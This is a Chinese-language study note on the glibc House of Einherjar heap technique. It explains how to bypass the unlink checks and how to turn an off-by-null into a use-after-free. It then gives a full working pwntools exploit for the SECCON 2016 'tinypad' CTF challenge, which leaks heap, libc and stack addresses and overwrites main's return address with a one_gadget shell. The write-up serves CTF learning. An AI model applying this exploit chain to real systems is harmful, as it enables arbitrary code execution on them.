Pwn Ptmalloc2 House of Einherjar
英灵战士的家!
原理
在 free 的向后合并中, 存在这样的代码:
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
这里的 p 会减去 prevsize, 得到的是上一块 chunk 的地址. 如果 prevsize 被劫持了, 那么这个 p 就会指向堆上的其他地方.
接着他会被丢到 unsortbin 中, 可以通过 malloc 取得. 也就是说是, 通过覆盖 small chunk 的 prevsize, 可以达到堆任意地址分配的效果, 造成堆重叠.
还需要在事先在 fake chunk 处布置一下, 以绕过 unlink 链表完整性检测.
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
这里的绕过方法可以和 unlink attack 的一样 (如果可以的话, 那直接 unlink attack 打就行了), 但是很多时候不知道 值为 fake chunk 地址的变量 的地址 (这也是 unlink attack 能打的条件之一). 如果可以知道 fake chunk 地址, 那么也可以将 fake chunk 的 fd 和 bk 都设为 fake chunk 地址, 这样也是可以绕过的:
这样, FD 和 BK 都是 p, FD->bk = p->bk = p, BK->fd = p 成立.
如果存在 off by null, 可能能打这个攻击方法. 0x8 结尾大小的 chunk 会复用下一个 chunk 的 presize, 而 size 的最低位正好是 PRE_INUSE, 写入 presize 为想要的值, 覆盖下一个 chunk 的 PRE_INUSE, 就可以用这个攻击了.
如果无法泄漏堆地址, 使用 unsorted bin 中的 chunk 也可以满足 unlink 的条件. unsorted bin 中的 chunk, fd 和 bk 都是 bin, 而 bin 的 fd 和 bk 都是 chunk, 这样 FD 的 bk 和 BK 的 fd 都是 chunk.
利用这一点, 可以 将 off by null 转换为 UAF. 考虑连续分配 A, B, C, D 四个 chunk, A, C 的大小在 unsorted bin 中, B 是用来 off by null 写 C 的. 先 free A, 然后 edit B, 打 house of einherjar, 然后 free B, 这样会向后合并到 A, 于是 unsorted bin 里会有 ABC 合并在一起的大 chunk, 而 B 这个 chunk 是没有被释放的, 我们有一个指向 B 的指针. 再次申请相同大小的三个 chunk, 那么又会得到一个指向 B 的指针. 这样就构造出了 UAF.
学习资料
例题
2016 Seccon tinypad
本着学习的性质, 直接看源码吧… (源码不是很好放的样子, 就简单说一下吧)
64 位 ELF, 没开 PIE, 其他全开. glibc 2.23.
4 个堆块, 维护指针和 size. 具有添加, 编辑, 删除功能. 添加申请最大为 0x100.
其中, 删除的时候没有将指针置零. 编辑时是先写到大小为 0x100 的 buffer 上, 然后 strcpy 到堆上. 读入的时候如果不以 \n
结尾, 会补一个 NULL, 这样就会造成堆上的 off by null.
输出的时候, 判断的是指针是否为空, 并且使用 strlen, 所以可以利用 UAF 泄漏 heap 和 libc. 具体就是 free 两个 small chunk, 丢入 unsortbin 中:
add(0x80, b'aaaa')
add(0x80, b'bbbb')
add(0x80, b'cccc')
add(0x80, b'dddd')
delete(3)
delete(1)
交叉是为了防止合并.
用 House of Einherjar 使得 p 指向 bss 上的 tinypad (bss 和 heap 距离不远, 且 tinypad 上能够任意输入, 还有指针), free 后这块会丢到 unsortbin 中. 下次 malloc 从这里取, 就可 malloc 到 bss 了.
首先看怎么触发这个 off by one. edit 的时候, 会先写 buffer, 然后确认了就 strcpy 过去. 如果 mem 大小是 0xf8, 并且填满 0xf8 的 buffer, 那么会将 mem 和 下一个 chunk 的 presize 覆盖满, 并 off by null 设置了 size 的低一个字节为 0. 在写入合适的 presize 之前, 利用 off by null 清空一下 presize 位置上的之前填充用的数据. 最后 edit 一次, 向 下一个 chunk 的 presize 写入合适的值, 以供我们 House of Einherjar. 这部分代码如下:
info(f'fake presize: {hex(fake_presize)}')
edit(1, b'h' * 0xf8) # fill chunk 1 and chunk 2's presize, off by null size
for i in range(1, 8 - len(p64(fake_presize).strip(b'\x00'))):
edit(1, b'i' * (0xf8 - i))
edit(1, b'j' * 0xf0 + p64(fake_presize)) # fill presize
考虑如何确定 fake chunk 的位置设置在 buffer 上, 因为这里能直接写, 非常好伪造, 以 pass unlink check. unlink 中的 check 在 2.23 有两个, 一个是 size vs. presize, 一个是 link.
link 绕过可以将 fake fd 和 fake bk 都写上 fake chunk, 像上面说的那样. size 有两种方法绕过, 一种是写上一个我们希望的 size 值, 然后在相应的 fake next chunk 的 presize 上也写上这个值. 这样可以做的原因是, unlink 的 size 检查是这样写的:
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. prev_size");
next_chunk 的用 p->size 算的, 所以这里把 size 改小来, 会算到一个 fake next chunk. 在这里布置好 presize 就行了.
另一种方法是直接填刚刚算得的 presize, 不过由于这里的 size 非常大, 就导致可能会继续检查和修改 large chunk 的两个指针:
if (!in_smallbin_range (chunksize_nomask (P))
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr ("corrupted double-linked list (not small)");
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
这里就需要继续伪造 fd_nextsize 和 bk_nextsize. 根据代码, 可以全填成 fake chunk 以绕过检查, 或者将 fd_nextsize 填成 NULL, 直接不进去. 但是这里由于 size 太大了, 之后 malloc 在从 unsortbin 中取的时候有一句检查:
if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize_nomask (victim)
> av->system_mem, 0))
malloc_printerr ("malloc(): memory corruption");
这个检查是通不过的. 所以我们其实还需要设置 size 和 fake chunk presize.
这一部分如下:
# fake chunk to pass unlink check
fake_chunk_content = p64(0) + p64(0x90) + p64(fake_chunk) * 2
fake_chunk_content += b'k' * 0x70
fake_chunk_content += p64(0x90) * 2
edit(1, b'l' * offset + fake_chunk_content)
我们 malloc 到这里的目的是控制 tinypad 上的指针, 所以 fake chunk 应该包含这些指针. 如果直接在 buffer 上去伪造 fake next chunk 的 presize, 那么下一次 malloc 到这里, 还是没有办法覆盖指针. 于是, fake next chunk 的 presize 就要找过一个地方了. 由于 tinypad 的 page 上有 size, 且与指针穿插着, 并且可以通过程序的 add 功能来设置. 设置到 page[2] 的 size 前, fake chunk 就包括了 page[1] 的指针了.
这里我们就用 page[3] 的 size. 设置 fake chunk 在 tinypad 偏移 0x60 的位置, size 设置为 0xc0 到 &page[3].size.
# forge the chunk to pass malloc check
for i in range(2, 8 - len(p64(0xc0).strip(b'\x00'))):
edit(3, b'm' * (offset + 0x10 - i))
edit(3, b'n' * offset + p64(0) + p64(0xc0))
(好像这两步可以写在一起, 不管了, 写不动了)
这样, 我们再 malloc 一个, 并写上值, 就可以覆盖 page[1] 和 page[2] 了. 将 page[2] 的指针的值覆盖为 page[1] 指针的地址, 这样 edit(2) 再 edit(1) 就可以任意位置读写了.
不过, 好像也不是那么任意, 因为读写都是用的 strlen. 如果和之前一样, 想去覆盖 malloc hook 或者 free hook, 那就会因为原先的值是 0 而不能写入. 所以这里要想其他办法. 由于我们知道 libc, libc 当中有一个变量 __environ
, 它的值和 main 函数的第三个参数 char **envp
一致, 而 envp
指向的内容在栈上. 所以能够打印 __environ
的话, 就能够泄漏栈地址, 泄漏了栈地址后, 就能够找到 main 的返回地址. 由于返回地址在 libc 上, 以 0x7f 开头, 而 one gadget 也是, 所以可以编辑.
这部分代码如下:
# malloc fake chunk, and overleap ptr 1 to leak stack, overleap ptr 2 to &ptr_1
payload = b'o' * 0x98 + p64(libc.sym['__environ'])
payload += b'o' * 8 + p64(tinypad + 0x108)
add(0xb0, payload) # idx 2
io.recvuntil(b'INDEX: 1\n # CONTENT: ')
stack = u64(io.recv(6).ljust(8, b'\x00'))
success(f'leak stack: {hex(stack)}')
main_ret = stack - 0xf0
success(f'leak main ret: {hex(main_ret)}')
# hijack main ret address to one gadget
edit(2, p64(main_ret))
one_gadget = one_gadgets()[0] + libc.address
edit(1, p64(one_gadget))
由于这里的操作都是基于 strlen 的, 所以地址只要中间出现了 \x00
, 就会出现问题. 如果是堆地址偏移什么的, 改一下就行. 如果是因为 ASLR, 重新跑就行.
exp:
from pwn import *
import subprocess
context(os='linux', arch='amd64', log_level='info')
procname = './tinypad'
libcname = './libc.so.6'
io = process(procname, stdin=PTY)
# io = remote()
elf = ELF(procname)
libc = ELF(libcname)
tinypad = elf.sym['tinypad']
def n2b(x):
return str(x).encode()
def one_gadgets():
result = [int(i) for i in subprocess.check_output(['one_gadget', '-l', '1', '--raw', libcname]).decode().split(' ')]
info(f'search one gadgets from {libcname}: {[hex(i) for i in result]}')
return result
def op(x):
io.sendlineafter(b'>>> ', x)
def add(size, content):
op(b'A')
io.sendlineafter(b'>>> ', n2b(size))
io.sendlineafter(b'>>> ', content)
def delete(idx):
op(b'D')
io.sendlineafter(b'>>> ', n2b(idx))
def edit(idx, content):
op(b'E')
io.sendlineafter(b'>>> ', n2b(idx))
io.sendlineafter(b'>>> ', content)
io.sendlineafter(b'>>> ', b'Y')
# leak heap and libc
add(0x80, b'aaaa')
add(0x80, b'bbbb')
add(0x80, b'cccc')
add(0x80, b'dddd')
delete(3)
delete(1)
io.recvuntil(b'INDEX: 1\n # CONTENT: ')
heap = u64(io.recvline(keepends=False).ljust(8, b'\x00')) - 0x120
success(f'leak heap: {hex(heap)}')
io.recvuntil(b'INDEX: 3\n # CONTENT: ')
libc.address = u64(io.recvline(keepends=False).ljust(8, b'\x00')) - 0x3c4b78
success(f'leak libc: {hex(libc.address)}')
delete(2)
delete(4)
offset = 0x60 # fake chunk at tinypad offset
add(0xf8, b'e' * 0xf8) # idx 1, overleap chunk 2's presize and PRE_INUSE
add(0xf0, b'ffff') # idx 2, free to House of Einherjar
add(0xc0, b'g' * (offset + 0x10 - 1)) # idx 3, block top chunk, for edit, size for fake next chunk presize
fake_chunk = tinypad + offset
fake_presize = heap + 0x100 - fake_chunk
info(f'fake presize: {hex(fake_presize)}')
edit(1, b'h' * 0xf8) # fill chunk 1 and chunk 2's presize, off by null size
for i in range(1, 8 - len(p64(fake_presize).strip(b'\x00'))):
edit(1, b'i' * (0xf8 - i))
edit(1, b'j' * 0xf0 + p64(fake_presize)) # fill presize
# fake chunk to pass unlink check
fake_chunk_content = p64(0) + p64(0x90) + p64(fake_chunk) * 2
fake_chunk_content += b'k' * 0x70
fake_chunk_content += p64(0x90) * 2
edit(1, b'l' * offset + fake_chunk_content)
delete(2) # free to House of Einherjar, fake chunk in unsortbin
# forge the chunk to pass malloc check
for i in range(2, 6):
edit(3, b'm' * (offset + 0x10 - i))
edit(3, b'n' * offset + p64(0) + p64(0xc0))
# malloc fake chunk, and overleap ptr 1 to leak stack, overleap ptr 2 to &ptr_1
payload = b'o' * 0x98 + p64(libc.sym['__environ'])
payload += b'o' * 8 + p64(tinypad + 0x108)
add(0xb0, payload) # idx 2
io.recvuntil(b'INDEX: 1\n # CONTENT: ')
stack = u64(io.recv(6).ljust(8, b'\x00'))
success(f'leak stack: {hex(stack)}')
main_ret = stack - 0xf0
success(f'leak main ret: {hex(main_ret)}')
# hijack main ret address to one gadget
edit(2, p64(main_ret))
one_gadget = one_gadgets()[0] + libc.address
edit(1, p64(one_gadget))
op(b'Q')
io.interactive()